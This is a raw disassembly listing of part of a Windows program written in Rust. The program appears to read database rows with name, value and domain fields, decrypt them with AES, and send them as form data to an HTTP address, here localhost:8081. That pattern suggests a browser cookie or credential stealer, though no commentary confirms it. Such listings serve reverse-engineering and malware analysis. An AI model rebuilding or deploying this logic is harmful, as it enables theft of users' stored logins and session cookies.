movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rdi
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x18], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
mov edi, 1
jmp 0x14000b874
mov qword [rsp + 0x288], rbx
mov qword [rsp + 0x290], rdi
movups xmmword [rbp - 0x10], xmm6
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x228]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov byte [rsp + 0x220], 5
mov rcx, rbx
call fcn.140181d60
cmp eax, 0x64
mov qword [rsp + 0x150], rbx
je 0x14000a3a6
mov esi, eax
cmp eax, 0x65
jne 0x14000b05d
mov qword [rsp + 0x38], rdi
mov al, 1
jmp 0x14000a3b1
mov qword [rsp + 0x38], rdi
xor eax, eax
jmp 0x14000a3b1
xor eax, eax
lea rdi, [rsp + 0x288]
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x2a0], xmm0
test al, al
jne 0x14000af1a
lea rsi, [rsp + 0x40]
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
call fcn.140006290
mov rax, qword [rsp + 0x40]
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0xb0], xmm1
mov rcx, qword [rbp + 0x10]
mov qword [rsp + 0xc0], rcx
cmp rax, 1
je 0x14000b06a
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x210], rax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x200], xmm0
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call fcn.140006290
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x138], rcx
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rsp + 0xa0], xmm0
cmp rax, 1
je 0x14000b0f1
mov rcx, rbx
mov edx, 3
call fcn.140182240
test rax, rax
je 0x14000a4c2
mov rcx, rbx
mov rbx, rax
mov edx, 3
call fcn.140182680
movsxd rdi, eax
test edi, edi
je 0x14000a4cc
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapAlloc
mov r15, rax
test rax, rax
jne 0x14000a4d2
jmp 0x14000da20
mov r15d, 1
xor edi, edi
jmp 0x14000a4e0
mov r15d, 1
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [rbp - 0x10], xmm6
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x1e0], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 6
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d9c4
mov rbx, rax
movzx eax, word [0x140221ddc]
mov word [rbx + 4], ax
mov eax, dword [str.domainvalueThis_is_a_test_messagehttp:__127.0.0.1:8081Error_aead::ErrorC:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_aes_soft_0.6.4_src_fixslice64.rs]
mov dword [rbx], eax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x130], rax
mov r13, qword [rsp + 0x210]
test r13, r13
je 0x14000a56e
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
mov rbp, rax
test rax, rax
jne 0x14000a573
jmp 0x14000d9ce
mov ebp, 1
mov rcx, rbp
mov rdx, qword [rsp + 0x130]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov qword [rsp + 0xa0], rbx
movups xmmword [rsp + 0xa8], xmm12
mov byte [rsp + 0x40], 3
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
lea rdx, [rsp + 0x58]
mov dword [rdx - 0x14], ecx
mov dword [rdx - 0x17], eax
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1e0]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000a6fe
cmp eax, 3
jb 0x14000a6fe
cmp eax, 4
je 0x14000a64f
cmp eax, 3
jne 0x14000a661
cmp qword [rsp + 0xf0], 0
je 0x14000a6fe
mov rbx, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
jmp 0x14000a6fe
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000a6fe
mov r8, qword [rsp + 0xf0]
test r8, r8
lea rbp, [rsp + 0x58]
je 0x14000a6db
mov rdx, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp], xmm0
jmp 0x14000a6ef
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor ebx, ebx
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x40]
call fcn.140007320
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 4
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000da49
mov rbx, rax
mov dword [rax], 0x656d616e
test rsi, rsi
je 0x14000a749
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapAlloc
mov rbp, rax
test rax, rax
jne 0x14000a74e
jmp 0x14000da11
mov ebp, 1
mov rcx, rbp
mov rdx, qword [rsp + 0x138]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov qword [rsp + 0xa0], rbx
movups xmmword [rsp + 0xa8], xmm11
mov byte [rsp + 0x40], 3
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
lea rdx, [rsp + 0x58]
mov dword [rdx - 0x14], ecx
mov dword [rdx - 0x17], eax
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1e0]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000a8d8
cmp eax, 3
jb 0x14000a8d8
cmp eax, 4
je 0x14000a82a
cmp eax, 3
jne 0x14000a83c
cmp qword [rsp + 0xf0], 0
je 0x14000a8d8
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000a8d8
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000a8d8
mov r8, qword [rsp + 0xf0]
test r8, r8
lea rbx, [rsp + 0x58]
je 0x14000a8b5
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
mov qword [rbx + 0x10], rax
movups xmmword [rbx], xmm0
jmp 0x14000a8c9
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor esi, esi
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 5
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000da3f
mov rbx, rax
movzx eax, byte [0x140221de2]
mov byte [rbx + 4], al
mov eax, dword [0x140221dde]
mov dword [rbx], eax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x2d8]
lea rsi, [rsp + 0x40]
mov r8, rsi
call fcn.14000db80
mov r15, qword [rsp + 0x160]
mov r8, qword [rsp + 0x170]
mov rcx, rsi
mov rdx, r15
call fcn.140023550
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
cmp qword [rsp + 0x40], 1
je 0x14000b160
test rdi, rdi
je 0x14000a98c
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapAlloc
mov rbp, rax
test rax, rax
jne 0x14000a991
jmp 0x14000da20
mov ebp, 1
mov rcx, rbp
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov qword [rsp + 0xa0], rbx
movups xmmword [rsp + 0xa8], xmm10
mov byte [rsp + 0x40], 3
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
lea rdx, [rsp + 0x58]
mov dword [rdx - 0x14], ecx
mov dword [rdx - 0x17], eax
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1e0]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
mov rbx, qword [rsp + 0x150]
je 0x14000ab1e
cmp eax, 3
jb 0x14000ab1e
cmp eax, 4
je 0x14000aa70
cmp eax, 3
jne 0x14000aa82
cmp qword [rsp + 0xf0], 0
je 0x14000ab1e
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000ab1e
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000ab1e
mov r8, qword [rsp + 0xf0]
test r8, r8
lea rdi, [rsp + 0x58]
je 0x14000aafb
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
mov qword [rdi + 0x10], rax
movups xmmword [rdi], xmm0
jmp 0x14000ab0f
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor esi, esi
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
cmp qword [rsp + 0x168], 0
je 0x14000ab3b
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r15
call fcn.14021dfcd
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x2f0], xmm0
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x300], rax
lea rcx, [rsp + 0x1c0]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov byte [rsp + 0x1b8], 5
mov rcx, qword [rsp + 0x130]
mov rdx, r13
lea rsi, [rsp + 0x220]
mov r8, rsi
call fcn.140140060
test rax, rax
lea rbp, [rsp + 0x58]
mov rcx, rsi
lea rdx, [rsp + 0x200]
je 0x14000ac53
call fcn.14001d090
cmp byte [rax], 4
mov r13, qword [rsp + 0x148]
mov r15, qword [rsp + 0x128]
jne 0x14000ae06
mov rsi, rax
movups xmm0, xmmword [rsp + 0x1b8]
movups xmm1, xmmword [rsp + 0x1c8]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rcx, qword [rax + 0x18]
cmp rcx, qword [rax + 0x10]
jne 0x14000ad03
mov rax, rcx
inc rax
je 0x14000d78f
lea rdx, [rcx + rcx]
cmp rdx, rax
cmova rax, rdx
cmp rax, 4
ja 0x14000ac11
mov eax, 4
xor r8d, r8d
mov edx, 0x20
mul rdx
setno r8b
shl r8, 3
test rcx, rcx
je 0x14000acb0
mov rdx, qword [rsi + 8]
shl rcx, 5
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], 8
jmp 0x14000acbc
call fcn.14001d090
mov rsi, rax
movzx eax, byte [rax]
cmp rax, 3
mov r13, qword [rsp + 0x148]
mov r15, qword [rsp + 0x128]
jb 0x14000adc5
cmp eax, 4
je 0x14000ad28
cmp eax, 3
jne 0x14000ad39
cmp qword [rsi + 0x10], 0
je 0x14000adc5
mov rdi, qword [rsi + 8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
jmp 0x14000adc5
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0xe0]
mov rdx, rax
lea r9, [rsp + 0xa0]
call fcn.140142a50
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
cmp qword [rsp + 0xe0], 1
je 0x14000da2f
mov qword [rsi + 8], rcx
shr rdx, 5
mov qword [rsi + 0x10], rdx
mov rcx, qword [rsi + 0x18]
mov rax, qword [rsi + 8]
shl rcx, 5
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
add qword [rsi + 0x18], 1
jmp 0x14000ae9e
mov rcx, rsi
add rcx, 8
call fcn.1400032a0
jmp 0x14000adc5
mov r8, qword [rsi + 0x10]
test r8, r8
je 0x14000ada2
mov rdx, qword [rsi + 8]
mov rdi, qword [rsi + 0x18]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp], xmm0
jmp 0x14000adb6
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor edi, edi
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov byte [rsi], 4
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
mov dword [rsi + 1], eax
mov dword [rsi + 4], ecx
mov qword [rsi + 8], 8
movups xmmword [rsi + 0x10], xmm6
lea rcx, [rsp + 0x220]
lea rdx, [rsp + 0x200]
call fcn.14001d090
cmp byte [rax], 4
je 0x14000abc4
mov r8, qword [rsp + 0x1c8]
test r8, r8
je 0x14000ae7b
mov rdx, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp], xmm0
jmp 0x14000ae8f
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor esi, esi
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
test r14, r14
je 0x14000aeba
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x138]
call fcn.14021dfcd
cmp qword [rsp + 0x208], 0
je 0x14000aedc
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x130]
call fcn.14021dfcd
mov rcx, rbx
call fcn.140181d60
cmp eax, 0x64
je 0x14000a3af
mov esi, eax
cmp eax, 0x65
lea rdi, [rsp + 0x288]
jne 0x14000b267
mov al, 1
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x2a0], xmm0
test al, al
je 0x14000a3d1
movups xmmword [rbp - 0x10], xmm6
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x170], rax
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x160], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 8
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db1f
mov rsi, rax
movabs rax, 0x656d616e656c6966
mov qword [rsi], rax
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 5
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000da3f
mov cl, byte [0x140221d49]
mov byte [rax + 4], cl
mov ecx, dword [0x140221d45]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x43]
mov dword [rsp + 0x110], ecx
mov dword [rsp + 0x113], edx
mov qword [rsp + 0xa0], rsi
movups xmmword [rsp + 0xa8], xmm9
mov byte [rsp + 0x40], 3
mov ecx, dword [rsp + 0x110]
mov edx, dword [rsp + 0x113]
mov dword [rbp - 0x14], edx
mov dword [rbp - 0x17], ecx
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x160]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000b552
cmp eax, 3
jb 0x14000b552
cmp eax, 4
je 0x14000b481
cmp eax, 3
jne 0x14000b493
cmp qword [rsp + 0xf0], 0
je 0x14000b552
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000b552
lea rcx, [rsp + 0x40]
mov rdx, rdi
jmp 0x14000b271
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x18], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
jmp 0x14000b436
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov rax, qword [rsp + 0x138]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], rsi
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x20], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
jmp 0x14000b411
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7a0
mov rbp, rax
lea rax, [0x1402218f8]
mov qword [rbp], rax
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
cmp qword [rsp + 0x168], 0
mov r13, qword [rsp + 0x148]
je 0x14000b1df
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r15
call fcn.14021dfcd
mov r8, qword [rsp + 0x1e8]
test r8, r8
mov rbx, qword [rsp + 0x150]
je 0x14000b3c4
mov rdx, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000b3de
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
call fcn.140141780
mov rdi, qword [rsp + 0x40]
cmp rdi, 2
jne 0x14000b293
movsxd rsi, esi
mov edi, 1
mov rbx, qword [rsp + 0x108]
jmp 0x14000b2a9
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rbx
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x20], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
mov edi, 1
mov rbx, qword [rsp + 0x150]
jmp 0x14000b76e
mov ecx, reloc.WS2_32.dll_recv
mov dil, 1
mov eax, 3
xor ebx, ebx
mov sil, 1
xor r14d, r14d
jmp 0x14000b359
mov ecx, 0x18
mov dil, 1
mov eax, 4
xor r14d, r14d
mov sil, 1
mov bl, 1
xor r11d, r11d
xor r9d, r9d
jmp case.0x1400098ab.0
mov ecx, 0x20
mov dil, 1
mov eax, 6
xor r11d, r11d
mov sil, 1
mov bl, 1
mov r14b, 1
xor r9d, r9d
jmp case.0x1400098ab.0
mov ecx, 0x28
mov dil, 1
mov eax, 7
xor r9d, r9d
mov sil, 1
mov bl, 1
mov r14b, 1
mov r11b, 1
jmp case.0x1400098ab.0
mov ecx, 0x30
mov dil, 1
mov eax, 8
mov sil, 1
mov bl, 1
mov r14b, 1
mov r11b, 1
mov r9b, 1
jmp case.0x1400098ab.0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov r15, qword [rsp + 0x128]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
test r14, r14
je 0x14000b411
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x138]
call fcn.14021dfcd
cmp qword [rsp + 0x208], 0
je 0x14000b436
mov rsi, qword [rsp + 0x200]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
mov edi, 1
jmp 0x14000b76e
add rdi, r10
mov rax, rdi
shr rax, 8
shl rdi, 0x38
or rdi, 0x3d
xor ebx, ebx
mov rsi, rdi
mov rdi, rax
jmp 0x140009865
add r10, r11
add r10, rbx
movzx eax, bpl
mov rdi, r10
shr rdi, 8
shl r10, 0x38
or r10, rax
xor ebx, ebx
mov rsi, r10
jmp 0x140009865
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000b552
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x14000b50c
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000b526
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov r13, qword [rsp + 0x148]
mov r15, qword [rsp + 0x128]
lea rbp, [rsp + 0x58]
mov rbx, qword [rsp + 0x150]
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 4
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000da49
mov rsi, rax
mov dword [rax], 0x61746164
lea rdi, [rsp + 0x40]
mov rcx, rdi
lea rdx, [rsp + 0x220]
call fcn.14001e160
cmp dword [rsp + 0x40], 1
je 0x14000d9dd
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x110], rsi
movups xmmword [rsp + 0x118], xmm11
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x160]
lea r8, [rsp + 0x110]
mov r9, rdi
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000b70b
cmp eax, 3
jb 0x14000b70b
cmp eax, 4
je 0x14000b63f
cmp eax, 3
jne 0x14000b651
cmp qword [rsp + 0xf0], 0
je 0x14000b70b
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000b70b
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000b70b
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x14000b6ca
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000b6e4
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov r13, qword [rsp + 0x148]
mov r15, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x150]
movaps xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x170]
